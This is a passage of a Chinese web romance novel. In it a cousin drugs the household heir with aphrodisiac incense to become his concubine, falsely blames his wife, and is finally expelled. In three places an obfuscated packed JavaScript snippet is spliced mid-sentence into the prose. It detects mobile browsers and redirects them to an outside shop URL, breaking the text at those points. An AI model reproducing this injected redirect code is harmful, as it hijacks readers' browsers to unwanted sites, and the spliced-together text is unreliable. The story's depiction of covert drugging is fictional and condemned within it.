堂内少女娇俏可人,一双杏眼忽闪着,未开口时已是十足魅惑,听她介绍自己身份,更添几分楚楚动人。 “若茵见过表嫂。” “我听婆母说你离得远,恐来得晚,倒是没想到真在路上花了三个月功夫。” “原本打算上月就到的,途中出了些意外耽误时间,叫表嫂担心了。” “无妨。一路舟车劳顿,累不累?你的房间已经准备好了,待会先去休息吧!” 陈若茵意外叶青漓竟如此随和体贴,眨巴了两下眼睛,道:“若茵不累。若茵想先去看望一下国公夫人。” “婆母前些日子病了,如今正在养病,大夫吩咐不让人随便打扰。左右不差这一两天的功夫,你先在府内住下,等婆母身子好些再去拜见也是一样。” “夫人病了?” 陈若茵大为震惊,她能来顾国公府,赵氏出了一半的力,如今赵氏病倒,那自己还能顺利进顾家的门吗? 叶青漓嗯了一声,随即招来下人打算带陈若茵离开。 怎料堂中的人脚步不肯挪动分毫,望着叶青漓道:“那我先去拜见表哥吧!” 叶青漓挑眉。 当着她的面也不必这么着急。 对上叶青漓嘴角那抹意味深长的笑,陈若茵觉得自己那点小心思好像全被看穿,她站在原地,硬撑着不肯低头。 叶青漓不打算跟她计较,微微一笑。 “表妹说得是,以后同住一个屋檐下,是要先打声招呼。” “来人,带表姑娘去见见几位公子。” “我没……” 陈若茵想见的只是顾承宴,未料叶青漓故意曲解她的意思,让她挨个见了府里的几位表哥。 从二表哥开始,每到一处,她就会收到一记眼刀,直到府中几位少奶奶的眼神足够将陈若茵剁碎,她才终于来到覃竹园。 顾承宴听说有个表妹要见自己,一脸蒙圈。 “我何时有的表妹?” 竹页苦着一张脸,“今日有的。” “是赵夫人亲自请来的,只是夫人现在病了,便由大少奶奶亲自接见。” “听说她进府是要给公子做妾的……” 话落,竹页将头深深埋下。 顾承宴闻言,记忆回到那日在叶青漓门外的时候。 “我又不喜欢他……” 是因为不喜欢自己,所以看着自己纳妾,不生气也不阻拦。 顾承宴忽然觉得心里闷闷的,好像有什么东西重重压在心口,他想搬开,可是浑身无力。 “不见!” 房内静默良久,伴随着顾承宴冷漠的声音响起,陈若茵也被竹页送出覃竹园。 “我们公子今日有事,就不见姑娘了,姑娘请回吧。” “可是,我是奉夫人之命前来的,夫人说要我是大公子的……” “陈姑娘!” 竹页冷着脸打断,“公子说了,不见!” 陈若茵在顾承宴这吃了闭门羹,回到住处百思不得其解。 “小姐,赵夫人不是说好你进门就是大公子的人,为何现在大公子不愿意见咱们?就连住的地方都不在覃竹园?” 陈若茵皱着眉,脑中一团乱麻。 “我怎么知道?” “你瞧今日府中下人对那大少奶奶恭敬的样子,再看顾国公府她掌管中馈,赵夫人却病在床榻,想来这女子是个有手段的,不能小觑!” “自来做人正室,没有愿意自己丈夫纳妾的,若是她不愿意,小姐还能留在顾国公府吗?” “我也不知。” 陈若茵杏眸晦暗一闪而过。 “可是我没有选择,若是不嫁来顾国公府做妾,回去后定会被那些叔伯随意塞个人嫁了!” “与其如此,我宁可做妾!起码,顾国公府家大业大不会打我那点祖产的主意!” “可咱们现在连大公子的面都见不到呢!” “日子还长,总有见到的那天!” 自这日起,陈若茵时常去覃竹园旁闲逛,有时是在院子外吟诗作对,有时在竹林旁奏琴起舞,花样百出,努力吸引屋内的人出来。 顾承宴却从未露面。 竹页随身伺候顾承宴,眼睁睁看着顾承宴的脸色一日比一日难看,忍不住对门外的陈若茵生了几分抱怨。 该来的人不来,不该来的人,日日都来! 自己逛逛园子也就罢了,还吹拉弹唱闹个不停,惹得大公子瞧自己都没好脸色了! 这般想着,决定出门去提醒陈若茵两句,出门时不小心碰到门栓,发出一点轻微的响动,直接惹来顾承宴一记眼刀! 竹页缩着脖子讪笑两声,“奴才不是故意的!” 顾承宴没有说话,眼神冷若冰山。 竹页苦着一张脸,忍不住道:“公子,要不我去跟大少奶奶说说,让她别叫表姑娘总往这来了,打扰公子休息。” “不必!” 多日沉默的男人终于出声,带着浓浓的怒意和一股不知名的委屈。 “她若在意,早就来了!” 竹页听着这话里浓浓的委屈,忍不住一阵牙酸。 “兴许,大少奶奶是太忙顾不上呢?大少奶奶从前经营铺子就忙,如今不仅要管铺子,还要管理府中内务,只怕每日忙得昏头转向,所以才没注意到表姑娘的举动。” “奴才去跟大少奶奶说一声,保准今日大少奶奶就把那表姑娘赶走了!” 顾承宴再次沉默。 竹页瞧着他虽然没开口说话,态度却有了缓和。 立刻往外走,“公子等着,我这就去!” “不必,我自己去。” 话落,顾承宴已经消失在竹页视野之中。 * 蔚莲阁本是覃竹园后的一个小院子,叶青漓嫁进来后,知道顾承宴不会与自己同住,所以主动搬了过来。 原本简单朴素的小院,经过叶青漓半年多的打理,如今已生趣盎然。 走过长廊,能看见一条垂花拱门,绽开许多金色小花,阳光洒下时金光熠熠。出了拱门就是叶青漓命人搭的秋千,日头好的时候,她就会在廊下荡秋千。再往前走是一片花海,粉红,玫红,大红色的花朵开得灿烂又随意,散发着叫人迷醉的香气。 顾承宴想着叶青漓今日忙碌,思考自己该如何开口提起陈若茵的事,耳畔已传来叶青漓和采莲的对话。 “她当真这么做了?” “是呀,大小姐竟当真降价售卖,可馥春斋里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182711|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的都是仿品,质量远远不如霓裳阁,马娘子说除非她们降到成本价,否则没有客人愿意买单!这铺子恐怕也开不长久!” “也好,她自找死路,就不必我再出手了!你告诉马娘子,必要的时候推她一把,其他的不必管了。” “是。” 采莲脆生生地应了句,忽然问道:“小姐,府中那个表姑娘不用管吗?” “管?怎么管?” “自然是将她赶出去!” “那可不行,那是公爹和婆母指名道姓给夫君的妾室,我怎么能赶她走?何况,我又不……” “夫君?” 叶青漓转个身的功夫,看见顾承宴沉着一张脸站在门口。 她惊讶一瞬,忙扬起一抹微笑。 “夫君今日怎么来我这了?可是有什么吩咐?” 顾承宴自打算彻底不回白云观后,便自己给自己找了个职务。叶青漓不清楚到底是做什么的,不过也不清闲就是了。 这是自赵氏生病卧床修养后,两人第一次见面,她总感觉顾承宴瞧着自己的眼神好像有哪里不对? 顾承宴并未开口,只是站在门口,静静地看着她,眸色深沉无边,眼神复杂得叫叶青漓读不懂。 “夫君怎么这样看着我?是我今日脸上的妆有问题吗?” 叶青漓说着,下意识看向采莲。 采莲快速又仔细地确认叶青漓妆容无误,冲她摇了摇头。 顾承宴黝黑的眸子一刻未曾离开叶青漓,“我听说你近来管理府中内务,十分忙碌,所以来看看。” “多谢夫君百忙之中还记着我,不过那些小事我还能应付得来。” “既然如此,为何府中表妹一直没有住处?” 叶青漓怔了一瞬,眨了眨眼睛。 “住处?有啊,她不就住在……” “住在我的院子外面?” “呃……” 叶青漓刚想解释,又听顾承宴继续道:“我瞧她日日在我院子外风吹日晒,实在可怜,劳烦娘子为她换个住处,可好?” “哦,好。” 直到顾承宴离开的时候,叶青漓都没缓过神来,他特意来一趟蔚莲阁,就是为了和自己说陈若茵的事? 不知怎的,叶青漓觉得心里闷闷的。 她摇头甩开那股不舒服的感觉,“采莲,去告诉表小姐,以后无事不要随意在覃竹园外走动。” “是。” * 陈若茵怎么都没想到自己来了顾府快半个月,却连顾承宴的影子都没见到! 不仅如此,自己还被顾府大少奶奶提醒,日后不得靠近覃竹园半步,彻底断了她给顾承宴做妾的路! “小姐,这下怎么办?大公子见不到也就罢了,连那位大少奶奶似乎也生气了,咱们还能在顾府待下去吗?” 陈若茵也十分忧心,不过她来顾府之前就想好了,不成功便成仁!如今还没开始,她不能就这么放弃。 她一双星杏眸在黑夜里闪了闪,“这府里,总还有欢迎我的人!” 赵氏每天揪心自己的中馈被夺不好好养病,因此顾承英吩咐下人不准将府内任何变故告知她,自她然不知道陈若茵已经进府半个月。 当陈若茵因为几番勾引顾承宴无果而悄悄联系上她时,赵氏立刻气得想吐血。 自己和顾承宴早就结了怨,给他娶的妻子他都不肯碰,哪里会愿意见一个半路进门的妾室? 不过陈若茵并不了解顾府阴私她理解,所以赵氏很快给陈若茵想了个好主意。 第二日,陈若茵看着手里的小瓷瓶,脸上划过一抹犹豫,这种关乎女儿家声誉的事,一旦失败便再也没有回头路了! 可是想到若是再次回到老家自己会受到什么待遇,她眼底的那抹挣扎之色才渐渐化为笃定。 “去告诉赵夫人,我准备好了!” 55. 误用春药 更深夜重,夏虫争鸣。 顾承宴带着一身薄汗从府外回来,俊脸微沉。 竹页了解顾承宴的习惯,知道他生性喜洁。 从前在府中时,每到夏日顾承宴都会日日沐浴,保持身体洁净,如今虽在白云观住了十年,这个习惯倒是未曾改变。 夏日人心易躁,公子今日又在太子府待了那么久,想必心情更加不好。 “公子,洗澡水已经备好了。” “嗯。” 竹页在门口便停下脚步,看着顾承宴一头扎进浴房。 他虽是从小服侍顾承宴的,可是顾承宴一向不喜欢人太过亲近,像沐浴更衣这种小事也都是自己来。 浴房不大,中间放着一个木质浴桶,氤氲热气从桶中升起,模糊了视线。 顾承宴走到屏风旁,伸手解开外衣,露出宽阔结实的背脊。衣衫褪下后,透过屏风,隐约可见一双肌肉紧实肌理分明的长腿。长腿迈开,顾承宴进入温度适中的浴桶内,两手搭在桶沿,感受着热水包裹身躯,洗去一身疲乏,发出一声舒适的喟叹。 回府这些日子以来,顾承宴感到无比疲累。 不在身上,而是心里。 他虽曾是太子伴读,又在科举舞弊一案中,帮太子规避他人陷害,得太子一眼高看。可在太子府的那些门客眼里,他只是一个年纪轻轻经验不足的小辈,甚至有人觉得自己能被太子带在身边,是沾了身份的光。 偶有意见分歧时,太子也只是态度温和对他笑着,多听从他们的意见。 顾承宴不喜欢这种说话做事都要先被人否定一次的感觉,不过幸好,这种日子也不会持续太长时间了。 圣上年迈,渐渐有些力不从心,朝中事多交给太子来做。太子如今位置稳当,只等时机到了,便会独掌大权。 到时候自己就不用日日再与那些老顽固周旋,只需静静观望赵氏临死前的样子。 她中了莫思的毒,自己听从父亲的安排去了太子府,青漓也将她手中中馈夺走,最在意的两样东西都被人夺去,要不了多久,毒素就会渗入她的五脏六腑,带她进入无尽噩梦! 那时候自己就可以离开顾府,回到白云观…… 还要离开吗? 叶青漓嫣然笑意出现在顾承宴脑中,那夜的意外再次浮现在眼前。 女子酡红着脸蛋,鼻息喷洒在耳边带着浓浓酒气,柔软的红唇附在脸侧,一触既离,而后是盛满笑意的星眸,痴痴地望着自己…… 浴房窗台上鎏金铜香炉内的熏香袅袅升起,融进雾气中嗅入鼻尖,一切仿佛又回到那晚。 半靠在浴桶边的男人猛然睁开眼,低头看着身下,无奈摇头。 第几次了? 他收起搭在浴桶旁的手,伴随着男人越发沉重的呼吸,水波传来阵阵涟漪。 幽香不断,水汽不凝,涟漪不绝…… 一室幽寂中,只有水波回荡的声音和男人粗沉的呼吸交织响起。 好半晌过去,室外传来竹页的呼喊。 “公子,可别在水里睡着了,水冷了会生病的!” 顾承宴用力闭上双眼,烦躁破水而出,眸色暗红,嘴唇微抿,拿起屏风旁干净的寝衣。 “吱呀——” 竹页看见顾承宴从浴房出来,下意识跟上去。 “天色已晚,你回去休息吧,我这不用你伺候了。” “是,奴才就在旁边,公子有什么吩咐就大声叫我。” “嗯。” 竹页离开后,顾承宴在门口安静站了一会,直到心底最后一丝浮躁被夜风吹散才抬步进了卧房。 甫一推开门,一股比浴房内还要浓烈的香气扑面而来,顾承宴下意识屏住呼吸。 竹页做事越发不用心了,明日定要告诉他别再用这种熏香! 顾承宴没有点灯,按照记忆走到香炉旁,端起一旁的茶壶浇灭了熏香,径直向床榻走去。 “唔……” 还未走到床边,耳边传来一声女子的叮咛。 他脚步微顿,转身点了蜡烛,一室微光乍现,才看清床上竟躺着个陌生的女子。 “你是谁?” “唔……表哥……” 陈若茵躺在床上,脸色潮红,紧咬着下唇,浑身裹着一层薄汗,难受得厉害,不等顾承宴上床,便控制不住伸手扑向他。 未料,顾承宴见她袭来猛地后退一大步,还没触及到男人衣摆,便先摔在冰冷坚硬的地上。 脸上痛感传来,唤醒她部分神志。 陈若茵看了眼只着寝衣,面色难看的顾承宴,又看了眼扑倒在地胸襟半露,几乎赤裸的自己。 “啊——!!!” 竹页回到房间,刚刚闭上眼睛,就听顾承宴屋内传来一声尖利的女子尖叫,立刻从床上爬起。 刚走到房间门口,就看见顾承宴冷着张脸将一团什么东西丢出门外。 沉闷的重物落地声响起,竹页定睛一看,竟是陈若茵? 她没穿衣服? 还裹着公子的被子? “你,你你,你怎么会在这?” 竹页大惊失色,下意识举起双手看向顾承宴。 “公子,奴才发誓,绝对不是我让她进来的!这不关奴才的事!” 顾承宴不用竹页解释都知道陈若茵是偷偷进来的,屋内莫名燃起的香炉,还有她脸上不正常的潮红,都说明有人在其中动手脚! “谁让你来的?” 陈若茵是第一次见到顾承宴,还没从惊艳中反应过来,人已经被丢在地上。 她也不明白,明明被下了药的人是顾承宴,为何方才清醒的那个却是他? 她紧紧裹着被子,看着半张侧脸隐在阴影中的顾承宴,紧张地咽了咽口水。 “没,没人让我来。是我倾慕表哥,所以想伺候表哥……” “再不说实话,就光着身子自己滚回去!” “我……” 陈若茵脸色一白,瞧着顾承宴不像是说假话的样子,连忙低着头,声音发着抖。 “是,是大少奶奶让我来的。” “什么?!” 竹页大惊,下意识看向顾承宴。 果然方才一脸愠怒的男人眼中闪过惊讶,下一刻胸腔蓄满委屈,眸中满是难以置信。 “她是我的妻,为何要送你过来?” “是大少奶奶说她不喜欢表哥,但是身为人妇,有生儿育女的职责,所以让我来伺候表哥,日后怀有身孕,生下表哥的孩子……” “住口!” 顾承宴再也听不下去,抬手指向覃竹园的大门。 “滚!” 陈若茵却还没说完。 “表哥,我也不想的,可是大少奶奶如今手握中馈,我住在府里,处处受她管制。她怕我中途反悔,还在表哥房间的熏香里下了药,表哥你没觉得身子有些异样吗?” 不用陈若茵多说,竹页已经从顾承宴脸上不正常的红看出不对劲! “公子,你身子可有不适?要不奴才去叫个大夫来吧!” “叫大夫也没用!” 陈若茵连忙叫住竹页。 “这种药又不是毒,哪里是大夫能解的?” 她咬着下唇期冀地看向顾承宴,“表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192506|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥若是不嫌弃,若茵愿为表哥帮忙。” 竹页霎时也没了主意,扭头看向顾承宴。 “公子……” “叫她滚!” 顾承宴根本没有任何犹豫,肃沉着声音下达命令。 竹页得令后,不再纠结,立刻上前将陈若茵赶出去,再回来时,门外已不见顾承宴的身影。 * 幽静的长廊内,一个欣长身影快步走过,脚步蹒跚行过拱门,最终停留在安静的秋千上。 顾承宴呼吸沉重,意识昏沉,用力摇了摇头。 本想找叶青漓问清今日之事是否与她有关,不想那熏香药力强劲,行至半途,他便彻底中了招。 若此时陈若茵直接扑上来,他未必有力气推开她! 顾承宴难耐地扯开衣领,让冷风灌进身体,清醒一瞬后,继续起身朝叶青漓住处走去。 他越过花海,迈着沉重的步伐走上台阶,雕花木门忽然自己从里面打开了。 “夫君?你怎么在这?” 叶青漓下意识朝顾承宴身后看了一眼,没有竹页的身影,再看顾承宴一身丝质寝衣,怎么瞧怎么不对劲。 “夫君这么晚来,是找我有什么事吗?” 顾承宴抬脚一个踉跄,高大的身影控制不住向前倒去,叶青漓手忙脚乱接住他,慌乱间,不知为何被顾承宴挤到墙边。 后背靠在冰冷的墙上令叶青漓皱了皱眉,她想要推开顾承宴,探到他胸前时才惊觉顾承宴的身体很烫,两人靠得这般近,她能轻易看见顾承宴脸上异样的红。 叶青漓恍然大悟,“你是不是发烧了?是不是很不舒服?” “你等着我去给你叫大夫!” 叶青漓刚有动作,却被顾承宴拽着手腕压回墙上,男人双臂撑起一份空间,满含委屈地望着她。 “为什么?” “什么为什么?” “为什么不喜欢我?为什么要往我床上塞其他女人?” 叶青漓瞳孔一缩,她听见什么了? 不对! “我什么时候往你床上塞人了?” “陈若茵,难道不是你?” “陈姑娘是婆母给你纳的妾室,与我有何干系?” 叶青漓一脸懵圈。 顾承宴猩红着双眼,死死盯着她,确认她没说假话后才彻底松了一口气。 下一刻,唇边却突然溢出一丝血迹。 “天呐!你怎么了?是不是莫思发作了?我去给你找贺大夫!” “不必!只是误用了春药。” “春……药?” 叶青漓霎时噤声,脸上升起一团可疑的红晕。 “好好的怎么会中这种药?那你现在该怎么办?” 顾承宴没说话,只是静静看着她。 夏日炎热,叶青漓穿着一身浅粉色抹胸薄衫,长发乖顺披在脑后,因为紧张而微微起伏的绵软,在察觉到顾承宴往下的目光后,霎时染上一层粉色。 “你,要不,先放开我?我去给你取些冰来?” 顾承宴抬头,月光透过雕花窗棂照在叶青漓脸上,一向镇定的少女罕见多了几分害羞,闪着光彩的星眸中隐约可见顾承宴的脸。 眼眶猩红,眸色幽暗,活像是要吃人的模样——那是被欲念吞噬的自己! 男人靠得越来越近,叶青漓忍不住朝后退去,可身后就是墙壁,她已退无可退。 顾承宴看着叶青漓慌乱眨着眼睛,慢慢靠近,直到鼻尖相触,两唇相贴,感受到她唇上的柔软,他再也控制不住心中的念想,张嘴咬了上去。 “唔……别……!” 56. 他不行! 叶青漓吃痛,下意识推开顾承宴,抬手抵在他胸前,却发现根本推不开。 男人力气很大,将自己固定在他和墙壁之间,并未弄疼她,只是腰间的大掌不住收力,迫使叶青漓控制不住靠向对方。 轻咬之后,他再次吻了上来,趁着叶青漓没有防备,直接攻城略地! “唔……” 这是叶青漓从未设想过的场景,她惊诧地瞪大了眼睛,推搡的动作也停下来。 这给了顾承宴极大方便,他如一条极度缺水的鱼一般,在叶青漓口中不停索取,攫取她的芬芳和甜蜜。 二人气息交融,叶青漓耳边只有顾承宴沉重的呼吸和自己心脏快要跳出来的声音,无法挣脱,只能无力承受。 直到叶青漓渐渐无法呼吸,整个人失去力气,身子软得险些站不住,顾承宴才不舍得停下动作,缓缓退开。 一吻毕,二人皆是大口喘息。 叶青漓脸颊烧得通红,清明的眼中蓄满雾气,呆呆地望着他,唇上被咬过的地方火辣辣的,她下意识舔了一下。 顾承宴呼吸骤然间沉重几分,声音低哑,“青漓,帮帮我!” 此刻的顾承宴不复叶青漓初见时的出尘脱俗,亦没有素日的平静稳重。 他额间青筋四起,眉心冒着薄汗,眸色猩红,黝黑的眼眸中满是欲望,刚刚冒犯过她的嘴巴染着水色,哪怕是这么窘迫的时刻,他还是这么性感又涩情。 明明有足够的力气强压着她做到最后一步,却还是控制自己停下,低声恳求。 “帮帮我!” 要帮他吗? 身体比答案先行一步,叶青漓抬手环上他的脖颈,踮起脚尖,再现了刚才那个吻。 这一次,由她主导! 她轻吻住顾承宴的薄唇,在男人想要加深这个吻时,一触既离。当顾承宴满眼不解地看着她时,再次凑上前去,伸出小舌,轻轻舔舐,没费多大力气就撬开了他的唇。 顾承宴感受到叶青漓的主动,更加用力抱紧她,加深了这个吻。唇齿相交的感觉很奇妙,仿佛只是这般不用言语,两人便能心灵相通。 夜,渐渐深了。 不知何时,两人已来到床前,叶青漓轻轻一推,顾承宴便倒在床上。 随着织花床幔缓缓放下,拔步床内大部分光线被遮住,只有部分月光透过轻纱照在顾承宴身上。 平素冷静自持的小道士,如今却脆弱得红着眼眶,眼中满是渴望,嘴里唤着她的名字,仿佛一朵任人采撷的娇花。 “青漓……” 叶青漓看着这香艳一幕,忍不住咽了咽口水。 她合上床幔,抬步上了床,慢慢靠近顾承宴,再次覆上红唇。 温柔又带着安慰的吻依次落在顾承宴眉心,眼睛,停在高挺的鼻梁上,到那张柔软的唇上。顾承宴慢慢闭上眼睛,感受着叶青漓的亲吻,鼻尖发出舒适的呻吟。 叶青漓浅吻一记他的下巴,目光落在那上下滚动的喉结上,一个坏心思悄然而生,她低下头,张嘴咬了一下。 “嗯……青漓!” 顾承宴声音沙哑着叫了一声,染上浓浓情欲的眼睛难耐地看着她。 叶青漓没有理会,伸出一只手沿着寝衣领口探了进去,滚烫到近乎灼人的肌肤不停起伏,昭示着主人此刻的不平静。叶青漓摸了两下,又捏了一把,无意间触碰到某处,引得男人浑身一颤。 “嗯!” 他叫得更好听了! 叶青漓忽然起了玩心,她支起身子,跨坐在顾承宴腿上,伸手在顾承宴胸前来回游走,指尖不过轻轻滑动,便引得男人一阵又一阵的呻吟。 像是在玩弄他,有趣极了! 叶青漓坏心思地想着。 目光忽然注意到从一开始就不安分的地方,嘴角勾起一抹坏笑。 她并起两指,从喉结开始下滑,越过起伏不定的胸膛,滑过薄肌微隆的腹部,再往下…… “?” 顾承宴忽然伸手捉住了叶青漓捣乱的手,不等她开口询问,一个翻身便将两人换了位置。 “我要在上面!” 被压在身下的叶青漓还要反抗,顾承宴却直接十指扣住她的手,用力堵上她的唇! “唔唔……唔唔唔……!” 天上的圆月似乎也羞于看见这一幕,扯过一旁的云朵遮住了视线。 一夜过后,朝阳照常升起。 叶青漓睁开眼睛,看了眼头顶的织花床幔,掀开被子下了床。 采莲一早来时瞧见顾承宴从屋内走出来,看得目瞪口呆。被顾承宴提醒让叶青漓好好休息,不要打扰后,一个人在门口呆呆地笑了半天,听见屋内有了响动,连忙端了热水进来。 看着叶青漓坐在梳妆镜前梳着头发,又忍不住偷笑。 叶青漓透过镜子看见她的表情,皱眉不解,“你笑什么?” “奴婢高兴啊!” “小姐嫁进来这么久,终于和大公子圆房了。” “圆房……” 叶青漓看着镜中的自己,脸上却无半分喜色! 昨夜她看他难受,本打算直接圆房的,可是到了关键一步,顾承宴却拦住她的手,只压着她在床上亲吻。 叶青漓挣扎了好多次, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214672|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至明说她愿意,顾承宴却像听不懂一样,只是抱着她亲。 从眼睛,到嘴巴,最多到脖子,她身上的薄纱寝衣都没脱下来! 也是那时,叶青漓才想起来叶蕙珠重生后说的那句话: 他不行! 啊! 这世上还有比刚刚确认了喜欢的人同时确认了他不行,更悲催的事吗? 只是这种私密的事情,叶青漓无法对采莲明说,只好扯着脸笑了笑。 采莲却很是激动地接过她手上的木梳,为她理起长发。 “奴婢早就看出来大公子喜欢小姐了,原还想着小姐会不喜欢大公子呢?现在看来,是奴婢多虑了!” 叶青漓:“?” “你什么时候看出来他喜欢我的?我怎么不知道?” “很明显啊!” “当初舅夫人把换亲一事闹得那么大,大公子大可顺着台阶休了小姐,可是他没有!除了喜欢还能是什么?” 采莲说着,忽然凑到叶青漓面前对她挤眉弄眼,“还有小姐前些日子确诊中毒,奴婢当时虽然慌得厉害,却还记得那几日大公子寸步不离得照顾你!甚至连药都亲自喂!” “如果不是喜欢,大公子干嘛对你这么好?” 采莲的话勾起了叶青漓的回忆。 的确,两人刚开始还是相敬如宾的状态,甚至一开始叶青漓还打着挣够银子就离开的主意。不知什么时候起,顾承宴对她的好已经超出了这个限度,而她也不知不觉,陷进这份温柔里。 但是,他不行! 可是他对自己真的很好,尤其有叶修恺和上一世沈仕楣的对比,顾承宴长得帅,性格好,洁身自好,几乎是个没有缺点的男人! 除了,他真的不行! 她无奈地揉了揉脸颊,看了眼镜子里嘴唇红肿,媚眼如丝的自己,轻轻碰了下肿得厉害的嘴巴,轻微刺痛传来,叶青漓再次无奈。 这也不像不行的啊! 难道是莫思的毒引起的隐疾?又或是年幼时受过什么刺激? 叶青漓纠结了许久,直到早膳下肚,大脑运转有了动力,才想明白。 他不行自己就不用生孩子,好事一件啊! 她豁然开朗! 这么说来,自己以后只用努力挣钱,顾承宴负责貌美如花,两人潇潇洒洒一辈子,连教育后代时出现分歧引起感情隔阂这种事情都不会发生。 大好事啊! 想明白后,叶青漓终于露出今晨第一个微笑。 恰在此时,竹页找来蔚莲阁。 “大少奶奶,不好了,公子要杀人了!” 57. 表姑娘 竹页说得没头没尾的,叶青漓连忙叫他喘口气,“你别着急,慢慢说,到底怎么了?” 竹页喘了两下粗气,继续道:“是,是昨夜表姑娘给大公子下药的事!大公子今日醒来后就要把表姑娘赶出顾府,表姑娘不愿意,硬是把国公爷和赵夫人喊来,现在正在府中要死要活的!” “是陈若茵给他下的药?!” 叶青漓捕捉到重点,瞬间变了脸色。 她就说顾承宴好端端的在府里,怎么会误用春药?原来是有人暗中下药,想霸王硬上弓! 只是没想到顾承宴意志力这么坚强,硬生生靠着他自己扛过药效。 竹页说前厅乱做一团,叶青漓也来不及多想,带着采莲匆忙赶到。 还未走进前厅,叶青漓便听见赵氏的声音。 躺了一个多月的她声音听起来有些虚弱,但是其中气势丝毫不减。 “若茵是你的表妹,进府就是为了给你做妾的。昨夜的事不过是一时糊涂,何况她是个女儿家,也没占你什么便宜,此事不如就算了!” 顾国公看着顾承宴老大不小,叶青漓进府半年多却一直未有身孕,此时也同赵氏统一战线。 “你母亲说得对,不过是个妾室,你将她收用了,以后便不会再发生这等事,何必闹得这么大!” “公爹和婆母这话就说得不对了!” 叶青漓说着话从门外走来,一进门就看见厅内有好几人。 顾国公高座上首,一脸不赞同地看着冷着脸的顾承宴。 赵氏脸色有些苍白,却还是在顾承英的搀扶下坐在一旁,端着嫡母的架子逼顾承宴大事化小,小事化了。 表姑娘陈若茵此刻则跪在地上,缩着肩膀低着头,叫叶青漓看不清她的表情。 奇怪的是,临近生产的辛氏也挺着大肚子坐在一旁,不知为何要趟这趟浑水? 辛氏对上叶青漓的目光,有些心虚地低下头。 她知道大哥房里的事情她不该过问的,可是如果大哥不将表姑娘收为妾室,等自己生产后,恐怕婆母就会将这个女人塞进夫君的屋里。 她不亲眼看着这女人被赶出顾府,今晚只怕不能安睡! 叶青漓略过辛氏,目光与顾承宴有一瞬间的交汇。 四目相对之间,两人想起昨夜的暧昧,霎时间各自扭过头去。 赵氏看着叶青漓赶来,嘴角勾起一抹耐人寻味的笑。 “你年纪轻心思细,我理解。可是男人三妻四妾是很正常的事情,咱们女人都是这么过来的。今日的事在夫妻之中不过是再正常不过的小事,切莫为了这种事将人赶走,落个善妒的名声。” “哦?婆母的意思是您也给公爹用过春药吗?” “我……” “咳!!!” 赵氏当即哑口,顾国公更是老脸一僵,重重咳了一声。 “这会在说承宴的事呢!” 叶青漓点点头,“我本来说得就是夫君的事,是婆母提醒我问她的。” 顾国公不赞同地看了赵氏一眼,责怪她多嘴,继而对着叶青漓道:“你婆母病了太久,脑子不清楚!” “不过她有句话说得没错,昨夜的事,不过是若茵一时糊涂,别再小题大做了!” “公爹这话可就说错了!” 叶青漓冷笑一声,指着地上的陈若茵道:“公爹以为陈姑娘是一番好意,因着女儿家投怀送抱的一番情趣,才给夫君下了迷情之药。可若是有一日旁人打着这番好意,将她手中的迷情药换做毒药,那公爹今日看到的夫君可就是一具冷冰冰的尸体了!” 顾国公闻言,当即色变,看向陈若茵的目光中也多了几分探究! “我,我不敢的!” 听见叶青漓把春药说成毒药,地上的人终于动了。 陈若茵用力摇着头,满眼恳切小心,“我不会害大公子的!我只是想向大公子示好,没想到会引得大公子反感!我以后再也不敢了!” “大少奶奶,你就劝劝大公子,留下我吧!” 叶青漓这时才看清她已经满脸泪水。 大概是昨夜回去后一直没有休息好,此刻脸色很差,额头还有些淤青,像是才用力在地上磕过。此刻涕泗横流,完全不顾及女儿家的体面,瞧着十分狼狈。 叶青漓摆摆手,“你劝我没用,被下药的不是我。” 陈若茵见状,跪爬着向前,伸手想要拽住顾承宴的衣摆,却被他侧身躲过。 “表哥,我错了!我不敢了!我以后再也不敢了!” “求你,不要赶我走好不好!” “我是进京来给你做妾的,这件事家里人都知道,若是我就这样回去,定会被他们笑话的!他们会笑我痴心妄想,还会把我卖给一个将要病死的人做妻,等他死了我就要陪葬!” “我不想死!我不想死啊表哥!” 陈若茵泪水涟涟,不停解释自己不能回去的理由,祈求顾承宴能够给她一个机会。 顾承宴虽然一向好说话,却从不是一个耳根软的人。 他冷眼看向陈若茵,“昨日我问过你,是谁指使你下药,你说是大少奶奶。” 叶青漓:“?” “今日你却改口说是自己一时冲动才犯错,可见你心思不纯。不仅算计我还想诬陷到青漓身上,如此不仁不义之人,还有何留在府中的必要?” “表哥……” “来人!把她的东西收拾了,一并扔出府去!” “是。” 下人们得了令,连忙动作起来。 